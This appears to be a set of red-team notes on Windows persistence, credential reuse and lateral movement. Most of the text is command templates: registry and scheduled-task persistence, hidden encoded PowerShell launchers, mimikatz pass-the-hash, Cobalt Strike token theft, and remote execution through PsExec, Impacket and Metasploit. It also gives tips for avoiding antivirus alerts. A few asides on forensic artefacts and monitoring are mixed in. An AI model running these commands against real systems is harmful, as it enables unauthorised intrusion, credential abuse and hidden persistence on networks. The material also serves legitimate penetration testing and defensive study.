For more information on `ASEP` keys, including a more comprehensive list of `ASEP` registry keys, refer to the `[DFIR] Windows - TTPs analysis - Local persistence` note (`ASEP registry keys` section).

*RunOnce / Run / RunOnceEx*

Among the most well known `ASEP` keys, entries in the `RunOnce` and `Run` keys are executed respectively once or at every trigger (system startup or user logging depending on the keys being in `HKLM` or `HKCU`).

```
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
```

`SharPersist` supports persistence techniques through a number of `ASEP` keys, specified with the `-k "<KEY_SPECIFIER>"` parameter:

* `hklmrun`: `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
* `hklmrunonce`: `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`
* `hklmrunonceex`: `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
* `hkcurun`: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
* `hkcurunonce`: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
* `logonscript`: `HKCU\Environment\`, key name `UserInitMprLogonScript`. Windows logon script executed at logon, that can be set at a domain level. May overwrite a legitimate logon script.
* `stickynotes`: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\`, key name `RESTART_STICKY_NOTES`. Does not apply to Windows 10+. The `RESTART_STICKY_NOTES` registry key is set by the `Sticky Notes` utility to persist across reboot. The `Sticky Notes` utility re-set the `RESTART_STICKY_NOTES` key after being opened.
* `userinit`: `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`, key name `Userinit`.

```
SharPersist -t reg [-o env] -c "<BINARY_PATH>" [-a "<ARGUMENTS>"] -k "<KEY_SPECIFIER>" -v "<KEY_NAME>" -m add
```

### Scheduled tasks

| ATT\&CK                                             | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                                                      |
| --------------------------------------------------- | ---------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1053](https://attack.mitre.org/techniques/T1053/) | Code execution.  | User or `Administrator`. | <p>Windows default <code>Microsoft-Windows-TaskScheduler%4Operational.evtx</code> events.<br><br>Periodic review / validation of the <code>Scheduled tasks</code> configured.<br><br>Windows <code>API</code> monitoring.</p> |

```
# <TASK_COMMAND> example with the Windows built-in cmd.exe or PowerShell:
cmd.exe /c '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c '<COMMAND> <COMMAND_ARGS>'
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C '<COMMAND> <COMMAND_ARGS>'
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD>
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Enc <ENCODED_BASE64_CMD>

# Create a scheduled task to run PowerShell code for example
schtasks /create /tn "<TASK_NAME>" /tr "<TASK_COMMAND>" /sc once /sd <MM/DD/YYYY> /st <HH:MM:SS> /V1 /Z /RU "NT AUTHORITY\SYSTEM" /S <IP | HOSTNAME>

# The creation and status of the scheduled task can be validated
schtasks /query /tn "<TASK_NAME>" /S <IP | HOSTNAME>
schtasks /run /tn "<TASK_NAME>" /S <IP | HOSTNAME>
schtasks /delete /tn "<TASK_NAME>" /S <IP | HOSTNAME>
```

### Windows services

| ATT\&CK                                                     | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                                                                                   |
| ----------------------------------------------------------- | ---------------- | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1543.003](https://attack.mitre.org/techniques/T1543/003/) | Code execution.  | `Administrator`.         | <p>Windows default <code>System.evtx</code> and <code>Security.evtx</code> (since Windows Server 2016 and Windows 10) events.<br><br>Periodic review / validation of the <code>Services</code> configured.<br><br>Windows <code>API</code> monitoring.</p> |

### WMI subscription

TODO

<https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf>

### DLL hijacking

TODO

<https://www.blackarrow.net/leveraging-microsoft-teams-to-persist-and-cover-up-cobalt-strike-traffic/>

***

### References

<https://github.com/mandiant/SharPersist/blob/master/Brett%20Hawkins%20SharPersist%20DerbyCon%202019.pdf>

<https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/>

<https://h4wkst3r.blogspot.com/2018/05/persistence-with-sticky-notes-registry.html>

<https://www.ired.team/offensive-security/persistence/windows-logon-helper>


# Lateral movements

### Expired password renewal

Expired password of local or domain accounts can be renewed over `SMB` (`MSRPC-SAMR`) using `impacket`'s `smbpasswd.py` Python script. `smbpasswd.py` supports authentication using an account `NTLM` hash.

```
smbpasswd.py [-newpass '<NEW_PASSWORD>'] <USERNAME>[:<CURRENT_PASSWORD>]@<HOSTNAME | IP>
smbpasswd.py [-newpass '<NEW_PASSWORD>'] -hashes <CURRENT_NT_HASH> <USERNAME>@<HOSTNAME | IP>
```

The account's previous password can be restored using `mimikatz`'s `lsadump::changentlm` function with only the knowledge of the previous `NTLM` hash. Note that the minimum password age policy setting may prevent an immediate password restoration.

```
mimikatz # privilege::debug
mimikatz # lsadump::changentlm /server:<DC_FQDN | HOSTNAME> /user:<USERNAME> [/oldpassword:<CURRENT_PASSWORD> | /old:<CURRENT_NT_HASH>] [/newpassword:<NEW_PASSWORD> | /new:<NEW_NT_HASH>]
```

### Lateral movements overview

Multiples techniques can be used to access computers remotely:

| Technique / Service                          | Port                                                                                                                                                                                                             | Required privileges                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Pass-the-Hash?                                         |
| -------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------ |
| `PsExec`                                     | <p><code>SMB</code>: TCP Port 445<br>or<br><code>SMB</code> over <code>NetBIOS</code>: TCP port 139</p>                                                                                                          | <p>If <code>User Account Control (UAC)</code> is disabled (<code>EnableLUA</code> set to <code>0x0</code>):<br>Any local and domain accounts members of the local <code>Administrators</code> group<br><br>If <code>UAC</code> is enabled (<code>EnableLUA</code> set to <code>0x1</code>) in default configuration (standard since <code>Windows Vista</code> / <code>Windows Server 2008</code>):<br>Local built-in <code>Administrator</code> (RID: <code>500</code>)<br>Domain accounts members of the local <code>Administrators</code> group (SID: <code>S-1-5-32-544</code>)<br><br>If <code>UAC</code> remote restrictions are disabled (<code>LocalAccountTokenFilterPolicy</code> set to <code>0x1</code>):<br>Any local (and domain) accounts members of the local <code>Administrators</code> group<br><br>If <code>UAC</code> is enforced for the local built-in <code>Administrator</code> account <code>RID</code> 500 (<code>FilterAdministratorToken</code> set to <code>0x1</code>):<br>Only domain accounts members of the local <code>Administrators</code> group</p> | <p>Network logon<br>-> Yes</p>                         |
| `Remote Desktop Protocol (RDP)`              | `Terminal Services` TCP port 3389                                                                                                                                                                                | Any local and domain accounts members of the local `Administrators` (SID: `S-1-5-32-544`) or `Remote Desktop Users` (SID: `S-1-5-32-555`) groups                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Yes, if `Restricted Admin` mode is enabled server-side |
| `Windows Management Instrumentation (WMI)`   | <p><code>RPC</code> TCP port 135<br><code>RPC</code> randomly allocated high TCP ports:<br>- TCP ports 1024 - 5000 (<= Windows 2003R2)<br>- TCP ports 49152 - 65535</p>                                          | Similar privileges to `PsExec`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | <p>Network logon<br>-> Yes</p>                         |
| `Windows Remote Management (WinRM)`          | <p><code>WinRM 1.1 and earlier</code>:<br><code>HTTP</code> port 80<br>or<br><code>HTTPS</code> port 443<br><br><code>WinRM 2.0</code>:<br><code>HTTP</code> port 5985<br>or<br><code>HTTPS</code> port 5986</p> | Similar privileges to `PsExec` with the addition of membership to the `Remote Management Users` (SID: `S-1-5-32-580`) group                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | <p>Network logon<br>-> Yes</p>                         |
| `Distributed Component Object Model (DCOM)`  | Same TCP ports as `WMI`                                                                                                                                                                                          | Similar privileges to `PsExec` with the addition of membership to the `Distributed COM Users` (SID: `S-1-5-32-562`) group depanding on the target host configuration                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | <p>Network logon<br>-> Yes</p>                         |
| Remote Windows services                      | TCP port 445                                                                                                                                                                                                     | Similar privileges to `PsExec`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | <p>Network logon<br>-> Yes</p>                         |
| Remote scheduled tasks                       | TCP port 445                                                                                                                                                                                                     | Similar privileges to `PsExec`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | <p>Network logon<br>-> Yes</p>                         |
| Third parties remote administration IT tools | <p><code>AnyDesk</code>: TCP port 7070<br><code>TeamViewer</code>: TCP / UDP ports 5938<br>...</p>                                                                                                               | Technology dependent                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Likely not                                             |

To quickly identity which servers or workstations in the domain are exposing one of the service above from your network standpoint, AD queries and `nmap` can be used in combination (refer to the `[Active Directory] Methodology - Domain Recon` note).

Note that the `Impacket` Python scripts presented below are available as static stand-alone binaries for both Windows and Linux x64 operating systems on the following GitHub repository:

```
https://github.com/Qazeer/OffensivePythonPipeline

https://github.com/ropnop/impacket_static_binaries
```

**For the forensics artefacts induced by the different lateral movement technics refer to the `[DFIR] Windows - Analysis - Lateral movement` note.**

***

### References

<https://ss64.com/nt/sc.html>

<https://support.microsoft.com/en-us/help/251192/how-to-create-a-windows-service-by-using-sc-exe>

<https://posts.specterops.io/offensive-lateral-movement-1744ae62b14f>

<https://www.contextis.com/en/blog/lateral-movement-a-deep-look-into-psexec>

<https://docs.microsoft.com/fr-fr/windows/win32/winrm/portal>

<https://docs.microsoft.com/fr-fr/windows/win32/wmisdk/wmi-start-page>

<https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf>

<https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/>

<https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/>

<https://blog.cobaltstrike.com/2015/05/21/how-to-pass-the-hash-with-mimikatz/>

<https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens>

<http://woshub.com/powershell-remoting-via-winrm-for-non-admin-users/>

<https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/>

<https://www.cybereason.com/blog/dcom-lateral-movement-techniques>

<https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0>

<https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-dcom/ba4c4d80-ef81-49b4-848f-9714d72b5c01>

<https://blog.varonis.fr/dcom-technologie-distributed-component-object-model/>

<https://gallery.technet.microsoft.com/scriptcenter/89a5e3c2-0a1c-4471-b78c-136606cafdfb>

<https://blog.f-secure.com/endpoint-detection-of-remote-service-creation-and-psexec/>

Applied Incident Response, Steve Anson

<https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netshareadd>

<https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/>

Mitigating-Pass-the-Hash-Attacks-and-Other-Credential-Theft-Version-2.pdf


# Local credentials re-use

The local re-use of credentials consist of starting a process on the local system under the security context and privileges of the specified user.

This security context may be used to access resources on the present system as well as moving laterally using various methods (remote Windows services or scheduled tasks, `WMI`, etc.) that can rely on the current user security context.

### runas

Set the main DNS server on the attacking computer to the Domain Controller IP address:

```
Control Panel -> Network and Internet -> Network and Sharing Center -> Change adapter setting -> right click on the adapter being used -> Properties -> Internet Protocol Version 4 (TCP/IPv4) -> Properties -> Set the Preferred DNS server field
```

To authenticate locally as another user (with plaintext credentials) and execute PowerShell commands, the `runas` utility can be used.

```
# runas
# Use /NetOnly on off-domain machines
runas /NetOnly /user:<DOMAIN>\<USERNAME> "<COMMAND> <COMMAND_ARGS>"
runas /NetOnly /user:<DOMAIN>\<USERNAME> powershell.exe
```

The `NetOnly` option will make `runas` execute on your local computer as the currently logged on user, but any connections to other computers on the network will be made using the user account specified.

### Start-Process / Start-Job

The `Start-Process` and `Start-Job` PowerShell cmdlets can be used to start a local process under the identify of another user.

To run the specified process in an elevated security context through a interactive logon on a system with `User Account Control (UAC)` enabled, the `-Verb RunAs` parameter, for `Run as administrator`, can be specified.

```
$secpasswd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<DOMAIN>\<USERNAME>", $secpasswd)

Start-Process <cmd.exe | powershell.exe | ...> -Credential $creds
Start-Process <cmd.exe | powershell.exe | ...> -Credential $creds -Verb RunAs

$ProcessJob = Start-Job -ScriptBlock { <POWERSHELL> } -Credential $creds
Wait-Job $ProcessJob
Receive-Job -Job $ProcessJob
```

### Cobalt Strike runas, runu, spawnas, spawnu and make\_token

On `Cobalt Strike`, the `runas` and `spawnas` beacon commands can be used, respectively, to locally run a command or start a beacon under the security context of the specified user. Both commands rely on a clear password and cannot be used to Pass-the-Hash.

The `runas` command can also be used in place of the `spawnas` command by running the beacon deploying `PowerShell` one-liner, generated using the beacon built-in function `Access -> One-liner`.

```
beacon> runas <. | DOMAIN>\<USERNAME> <PASSWORD> <COMMAND> <COMMAND_ARGS>

beacon> spawnas <. | DOMAIN>\<USERNAME> <PASSWORD> <LISTENER>
```

The `make_token` beacon command correspond to the `runas` `NetOnly` option but cannot be used to create a process and run a specified program. The `make_token` command will instead replace the `Logon Session` in the current beacon Windows `Access Token`, which is used for network Windows authentication, with the `make_token` provided credentials. The local system access through the beacon will thus not be affected but access to resources over the network will be made using the newly provided credentials.

The change can be reverted using the beacon command `rev2self`.

```
beacon> make_token <. | DOMAIN>\<USERNAME> <PASSWORD>
```

If elevated privileges are obtained on a system, the `runu` beacon command can be used to run an arbitrary command as a child of another process, effectively running the command in the targeted process security context. Building on this primitive, the `spawnu` beacon command spawn a beacon, through PowerShell, under another process security context.

Both commands can be used to impersonate any connected user on the compromised system, without the need of knowing their password or `NTLM` hash, as well as elevate to `NT AUTHORITY\SYSTEM`.

```
# beacon> ps

beacon> runu <PID> <COMMAND> <COMMAND_ARGS>

beacon> spawnu <PID> <LISTENER>
```

### Mimikatz Pass-The-Hash

Require elevated privileges on the system.

The Pass-The-Hash module of `mimikatz` can be used to locally run a process under another user identity using its `NTLM` hash.

```
# Default to /run:cmd.exe.
# Command can be any binary such as powershell.exe or mmc.exe for example.
# Specifying arguments is supported as well.

sekurlsa::pth /domain:<. | DOMAIN_FQDN> /user:<USERNAME> /ntlm:<HASH_NTLM> /run:"<COMMAND>"
sekurlsa::pth /domain:<. | DOMAIN_FQDN> /user:<USERNAME> [/aes128:<USER_AES128_KEY> | /aes256:<USER_AES256_KEY>] /run:"<COMMAND>"
```

### Cobalt Strike (using Mimikatz) Pass-The-Hash

Require elevated privileges on the system.

On `Cobalt Strike`, the `mimikatz` / and `steal_token` beacon commands can be used to start a process under the specified user identity, using its `NTLM` hash, and steal then impersonate the newly created process token.

The `pth` beacon command will wrap the `mimikatz` Pass-the-hash command and, similarly to the `make_token` beacon command, replace the `Logon Session` in the current beacon Windows `Access Token`, in order to access resources over the network using the provided user identity.

Any token change can be reverted using the beacon command `rev2self`.

```
# Both local and over the network impersonation
beacon> mimikatz sekurlsa::pth /domain:<. | DOMAIN_FQDN> /user:<USERNAME> /ntlm:<NT_HASH> /run:"powershell -w hidden"
beacon> mimikatz sekurlsa::pth /domain:<. | DOMAIN_FQDN> /user:<USERNAME> [/aes128:<USER_AES128_KEY> | /aes256:<USER_AES256_KEY>] /run:"powershell -w hidden"
  [...]
  PID <PID>

beacon> steal_token <PID>

# Over the network ("/NetOnly") impersonation
pth <. | DOMAIN>\<USERNAME> <NT_HASH>
```

### PowerShell Credential option

Most of the PowerShell's `Remote Server Administration Tools (RSAT)` cmdlets support the `Credential` option, to run the cmdlet as the specified user account. An username or a `PSCredential` object can be used.

A similar mechanism is also implemented in the PowerShell `PowerSploit` framework.


# Over SMB

### PsExec-like utilities

`PsExec`-like utilities operate under the same general principle:

* Upload of a binary on the targeted system, usually through the `ADMIN$` or `C$` Windows built-in `SMB` shares.
* Execution of the uploaded binary through the creation and execution of a Windows service, leveraging the `Service Control Manager (SCM)` service through the `MSRPC` protocol (`SVCCTL` interface).

The aforementioned actions require the following elevated privileges on the targeted system, usually given to members of the local `Administrators` group: - Write permission on any network share (both `NTFS` and `Share` write permission). `PsExec` however requires specifically write permission to the `ADMIN$` share. If necessary, a writable share can be configured remotely through the `Server Service` `MSRPC` interface. - Permissions to create (`SC_MANAGER_CREATE_SERVICE`) and start (`SERVICE_QUERY_STATUS` + `SERVICE_START`) Windows services.

The execution of a `PsExec`-like utility will notably, in addition to `Security` `EID 4624` and `EID 4672` events, generate the following Windows events:

* `System` hive, `EID 7045: A service was installed in the system`.
* `Security` starting from the Windows Server 2016 and Windows 10 operating systems, `EID 4697: A service was installed in the system`.
* `System` hive, `EID 7036: The <SERVICE_NAME> service entered the <running/stopped> state`.

**Writable network share**

The `smbmap` Python script can be used to list the shares, and their configured permissions, on the remote system and the `rpcclient` utility can be used to call the `NetShareAdd` function of the `Server Service` `MSRPC` interface in order to create a share on the remote system.

According to the Microsoft documentation, only members of the `Administrators`, `System Operators`, or `Power Users` local groups can add shares using the `NetShareAdd` function. The `Print Operator` can however add printer shares.

```
# The <HASH> should be specified in the <LM_HASH:NT_HASH> format (<aad3b435b51404eeaad3b435b51404ee:NT_HASH>)
smbmap [-d <DOMAIN>] [-u <USERNAME>] [-p <PASSWORD | HASH>] (-H <HOSTNAME | IP> | --host-file <FILE>)

rpcclient -U "<USERNAME>" [--pw-nt-hash] <HOSTNAME | IP>

rpclient $> netshareadd "<C:\Windows | SHARE_PATH>" "<SHARE_NAME>" <MAX_USERS> "<COMMENT>"
```

An utility supporting the specification of the remote share to write the binary to, such as the `Metasploit`'s `exploit/windows/smb/psexec` module or the `Impacket`'s `smbexec.py` Python script can then be leveraged to execute code on the remote system.

**PsExec-like utilities**

*PsExec*

The `PsExec` CLI utility, from the Microsoft `sysinternals` suite and signed by Microsoft, can be used to execute commands, locally or remotely and under the current user or specified user identity.

While the use of a more complete attack framework is recommended on the attacking machine (such as `Cobalt Strike`, `CrackMapExec` or `Metasploit`), `PsExec` may be uploaded on a compromised host in order to futher reach segregated targets as it will not raise alerts against some anti-virus solutions.

`PsExec` uses a named pipe over the `Server Message Block (SMB)` protocol, which runs on `TCP` port 445. The utility will connect to the `ADMIN$` share of the targeted host, upload the `PSEXESVC.exe` binary and use the `Service Control Manager` to start the aforementioned binary.

Note that while the name of the created service can be specified, the name of the uploaded binary cannot be changed, resulting in known forensics artefacts on the accessed system associated to the use of `PsExec`, such as:

* A Windows `Security` event `EID 4624: An account was successfully logged on` with its `Process Name` field set to `C:\Windows\PSEXESVC.exe`.
* A `PSEXESVC.EXE` entry in the `Shimcache` / `Amcache`
* A possible record in the `Master File Table (MFT)` and `Update Sequence Number Journal (USN) Journal`

If an user is specified using the `-u` option, an interactive logon (`Logon type 2`) will be attempted by `PsExec`, resulting in the storing of the given user `NTLM` hash in `LSASS` memory. For logons attempted using the current user identity, `PsExec` will conduct network logon (`Logon type 3`).

```
# -s - Runs the remote process as the System account (NT AUTHORITY\SYSTEM).
# -h - If the targeted system is using the Windows Vista operating system, or higher, the created process will attempt to be run with the account's elevated token.
# -r <SERVICE_NAME> - Specifies the name of the remote service to create. Default to PSEXESVC.

# Interactive commands execution through cmd or PowerShell
PsExec.exe -accepteula \\<HOST | IP> -s <cmd.exe | %ComSpec% | powershell.exe>
PsExec.exe -accepteula \\<HOST | IP> -u "<DOMAIN | WORKGROUP>\<USERNAME>" -p "<PASSWORD>" -s <cmd.exe | %ComSpec% | powershell.exe>

# Unitary command execution on one or multiple specified hosts.
# PsExec hosts specified file should be encoded in ANSI.
PsExec.exe -accepteula [\\<IP | HOSTNAME | IPS | HOSTNAMES> | @<FILE_FULL_PATH>] -u "<DOMAIN | WORKGROUP>\<USERNAME>" -p "<PASSWORD>" -s <cmd.exe /c "<COMMAND> <COMMAND_ARGS>" | %ComSpec% /c "<COMMAND> <COMMAND_ARGS>" | powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C "<COMMAND> <COMMAND_ARGS>" | powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD> | ...>
```

*Metasploit PsExec*

The `exploit/windows/smb/psexec` `Metasploit` module can be used to execute a `Metasploit` payload, such as a `Meterpreter`, on a targeted system using a cleartext password or an `NTLM` hash.

This module will by default generate a service with a random name and description and allows the specification of a network share.

```
# If using a password hash, set SMBPass to <LM_HASH:NT_HASH>
msf> use exploit/windows/smb/psexec
```

*Impacket psexec.py*

The `Impacket`'s `psexec.py` Python script will upload and execute the `RemComSvc` service, based on the open-source `RemCom` project.

`psexec.py` present the advantage of supporting both `NTLM`, uisng a cleartext password or an `NTLM` hash, and `Kerberos` authentication, using a `Ticket-Granting Ticket (TGT)` or a `service ticket` for the remote machine `CIFS` service. For more information on how to make use of `service tickets` (`Pass-the-Ticket`), refer to the `[ActiveDirectory] Kerberos - silver tickets` note.

`psexec.py` will by default upload a binary and generate a service with a random name and allows the specification of a network share.

```
# --target-ip: Specifies the IP address of the targeted machine. If omitted, psexec.py will use the host or IP pecified in the target string. The option is useful when the target is an unresolvable NetBIOS name.

# NTLM authentication
psexec.py [-target-ip <TARGET_IP>] [-port [<PORT>]] [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<HOSTNAME | IP> [<COMMAND> <COMMAND_ARGS>]
psexec.py -hashes <LM_HASH:NT_HASH> [-target-ip <TARGET_IP>] [-port [<PORT>]] [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP> [<COMMAND> <COMMAND_ARGS>]

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
psexec.py -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
```

Additionally, `psexec.py` can easily be incorporated into custom Python scripts:

```
import psexec

psobject = psexec.PSEXEC("cmd.exe", "c:\\windows\\system32\\", None, "445/SMB", username = '<USERNAME>', password = '<PASSWORD>')
raw_result = psobject.run("<HOSTNAME | IP>")
print raw_result
psobject.kill();
```

*Invoke-SMBExec*

The `Invoke-SMBExec` PowerShell cmdlet can be used to pass the hash over SMB in PowerShell.

The `Invoke-SMBExec` cmdlet will by default upload a binary and generate a service with a random name.

```
Invoke-SMBExec -Target <HOSTNAME | IP> -Domain <DOMAIN> -Username <USERNAME> -Hash <NTLMHASH> -Command "<CMD>" -verbose
```

**Fileless PsExec-like utilities**

The `Impacket`'s `smbexec.py` Python script and the `Metasploit`'s `exploit/windows/smb/psexec` module implement a fileless variation of `PsExec`. Instead of uploading a binary, the created Windows service will execute Windows built-in binaries.

`smbexec.py` rely on `%COMSPEC%` (`cmd.exe`) and will, for each specified command, create a Windows service that `echo` the command in a temporary file (`%TEMP%\execute.bat`), then execute and ultimately delete the `bat` file.

The `Metasploit`'s `exploit/windows/smb/psexec` module rely on both `%COMSPEC%` and `powershell.exe` and will create a Windows service that execute the specified payload (bind / reverse `meterpreter`, single command, etc.) through a `PowerShell` one-liner.

`Metasploit` will generate a random name for the Windows service while `smbexec.py`, by default, create a service named `BTOBTO`.

```
# NTLM authentication
smbexec.py [-service-name <SERVICE_NAME>] [-target-ip <TARGET_IP>] [-port [<PORT>]] [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<HOSTNAME | IP> [<COMMAND> <COMMAND_ARGS>]
smbexec.py [-service-name <SERVICE_NAME>] -hashes <LM_HASH:NT_HASH> [-target-ip <TARGET_IP>] [-port [<PORT>]] [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP> [<COMMAND> <COMMAND_ARGS>]

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
smbexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]

# If using a password hash, set SMBPass to <LM_HASH:NT_HASH>
msf> use exploit/windows/smb/psexec_psh
```

### Remote Windows services

The Windows built-in utility `Service Control (sc)` and the `Impacket`'s `services.py` Python script can be used to remotely create and start a Windows service.

Remote code execution can be achieved through a Windows service by: - Copying a binary to the targeted system and executing it through the service (`PsExec`-like). - Directly executing a one-liner or payload through a built-in Windows binary, such as `cmd.exe`.

Refer to the `[General] Shells` note for Windows reverse shell one-liners and scripts.

Note that if the specified binary is not a service binary (i.e. a binary implementing the `LPSERVICE_MAIN_FUNCTION` callback function), an error message will be raised (`Error 1053: The service did not respond to the start or control request in a timely fashion.`). The binary will however have been executed once, which for some payload may be sufficient (`meterpreter` notably).

```
# <SERVICE_COMMAND> example with a Windows binary: <cmd.exe /c '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c '<COMMAND> <COMMAND_ARGS>' |  %ComSpec% /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD> | ...>

sc \\<IP | HOSTNAME> create <SERVICE_NAME> binpath= "<SERVICE_COMMAND>"
sc \\<IP | HOSTNAME> start <SERVICE_NAME>

# NTLM authentication
services.py [-target-ip <TARGET_IP>] [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<HOSTNAME | IP> create -name <SERVICE_NAME> -display <SERVICE_DISPLAY_NAME> -path '<SERVICE_COMMAND>'
services.py [-target-ip <TARGET_IP>] [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<HOSTNAME | IP> <start | delete> -name <SERVICE_NAME>

services.py -hashes <LM_HASH:NT_HASH> [-target-ip <TARGET_IP>] [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP> create -name <SERVICE_NAME> -display <SERVICE_DISPLAY_NAME> -path '<SERVICE_COMMAND>'
services.py -hashes <LM_HASH:NT_HASH> [-target-ip <TARGET_IP>] [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP> <start | delete> -name <SERVICE_NAME>

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
services.py -k -no-pass -dc-ip <DC_IP> <HOSTNAME> create -name <SERVICE_NAME> -display <SERVICE_DISPLAY_NAME> -path '<SERVICE_COMMAND>'
services.py -k -no-pass -dc-ip <DC_IP> <HOSTNAME> <start | delete> -name <SERVICE_NAME>
```

### Remote scheduled tasks

The Windows built-in utility `schtasks`, the `Impacket`'s `atexec.py` Python script, and the Windows `Task Scheduler` graphical utility can be used to remotely create and start a Windows scheduled tasks.

Remote code execution can be achieved through a Windows scheduled task by: - Copying a binary to the targeted system and executing it through the scheduled task. - Directly executing a one-liner or payload through a built-in Windows binary, such as `cmd.exe` or `powershell.exe`.

Refer to the `[General] Shells` note for Windows reverse shell one-liners and scripts.

While `schtasks` does not have a "run now" option, a scheduled task can be programmed to run once and starts in a few minutes. The `/Z` switch can be specified to automatically delete the scheduled task after execution. It may however raise compatibility issue, in which case the scheduled task would need to be deleted manually.

`atexec.py` will create, run and immediately delete a scheduled task, by default with a random generated name, that execute the specified command. The scheduled task will be executed as `NT AUTHORIT\SYSTEM`. The command output will be stored in a temporary random file and retrieved through the `ADMIN$` share.

The Windows `Task Scheduler` utility can be used to configure remote scheduled task through the `Microsoft Management Console (MMC)` utility:

```
File -> Add/Remove Snap-in (Ctrl + M) -> Task Scheduler -> Add
Specification of the remote computer: Another computer -> (Optional) Connect as another user

Task Scheduler (<HOSTNAME>) -> Right click -> Create task...

  General -> Name
          -> Description
          -> Run whether user is logged on or not
          -> Hidden
          -> Run with highest privileges
          -> (Optional, to run as NT AUTHORITY\SYSTEM) Change User or Group... -> SYSTEM

  Actions -> New... -> Program/script: <cmd.exe | %ComSpec% | powershell.exe | BINARY>
          -> Add arguments (optional): <COMMAND_ARGS>

  Conditions -> Power -> Start the task only if the computer is on AC power -> Unchecked

Task Scheduler Library -> Right click on <TASK> -> Run / Delete
```

```
# <TASK_COMMAND> example with the Windows built-in cmd.exe or PowerShell:
cmd.exe /c '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c '<COMMAND> <COMMAND_ARGS>'
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C '<COMMAND> <COMMAND_ARGS>'
